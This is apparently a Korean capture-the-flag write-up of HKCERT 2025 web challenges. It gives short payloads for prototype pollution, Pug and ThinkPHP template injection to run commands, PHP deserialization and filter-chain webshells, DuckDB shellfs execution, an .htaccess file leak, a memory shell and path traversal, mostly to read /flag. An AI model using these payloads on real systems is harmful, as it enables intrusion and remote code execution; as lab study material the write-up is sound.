HKCERT 2025 웹 보안 문제 풀이

ezjs 문제 분석

Node.js 애플리케이션에서 프로토타입 오염 및 템플릿 인젝션 취약점을 활용한 문제입니다. 세션 키는 무작위로 생성되며, 로그인 검증 함수는 다음과 같습니다.

function validateInput(obj, forbiddenKeys) {
  let isValid = true;
  Object.keys(obj).forEach(key => {
    if (forbiddenKeys.includes(key)) {
      isValid = false;
    }
  });
  return isValid;
}

/login 경로에 프로토타입 오염 공격을 수행:

POST 데이터: {"__proto__":{"admin":true}}

관리자 세션 획득 후 /render 경로에서 Pug 템플릿 인젝션 실행:

word=#{process.mainModule.constructor._load('fs').readFileSync('/flag','utf8')}

BabyUpload 파일 업로드 취약점

파일명과 내용에 'p' 문자 필터링이 존재합니다. Apache 서버에서 .htaccess 파일을 활용한 솔루션:

ErrorDocument 404 "%{file:/flag}"

이 파일 업로드 후 존재하지 않는 경로 접속 시 플래그 노출됩니다.

React 메모리 쉘 익스플로잇

CVE-2025-55182 취약점을 이용한 공격 패킷:

Next-Action 헤더와 멀티파트 폼 데이터 활용
페이로드 내부에 Node.js 메모리 쉘 삽입
접근 경로: /exec?cmd=cat%20/f*

Lua 샌드박스 탈출

전역 객체 검색을 통해 숨겨진 함수 발견:

for k,v in pairs(_G) do 
  if type(v)=="function" then print(k) end 
end

S3cr3t0sEx3cFunc() 실행으로 플래그 획득

PHP 역직렬화 익스플로잇

객체 참조를 활용한 콜백 체인 구성:

O:14:"RequestHandler":2:{
  s:9:"processor";N;
  s:6:"action";a:2:{
    i:0;O:14:"RequestHandler":2:{...}
    i:1;s:11:"__construct";
  }
}

프로세서 재생성 후 execute() 호출로 RCE 달성

필터 체인 파일 쓰기

PHP 필터 체인을 이용한 웹쉘 생성:

data=php://temp/a.php?<필터 체인 페이로드>
file_put_contents에 필터 적용된 PHP 코드 기록

템플릿 엔진 취약점

ThinkPHP 8.1.3의 템플릿 기능에서 SSTI 활용:

?name={$_SERVER.HTTP_CMD | system}

HTTP 헤더를 통해 명령어 전달 가능

DuckDB 데이터베이스 익스플로잇

ShellFS 확장 설치 후 명령 실행:

INSTALL shellfs;
LOAD shellfs;
SELECT * FROM read_csv('cat /f* |');

JWT 및 SSRF 취약점

Base64 디코딩 오류로 시크릿 키 유출:

잘못된 형식의 토큰 전송 → traceback.format_exc()에서 SECRET_KEY 유출

FastMCP 프레임워크에서 경로 탐색:

resources/read?uri=base64://tmp/%2f..%2froot%2fflag

태그: prototype-pollution SSTI CVE-2025-55182 .htaccess-exploit DuckDB

6월 14일 17:03에 게시됨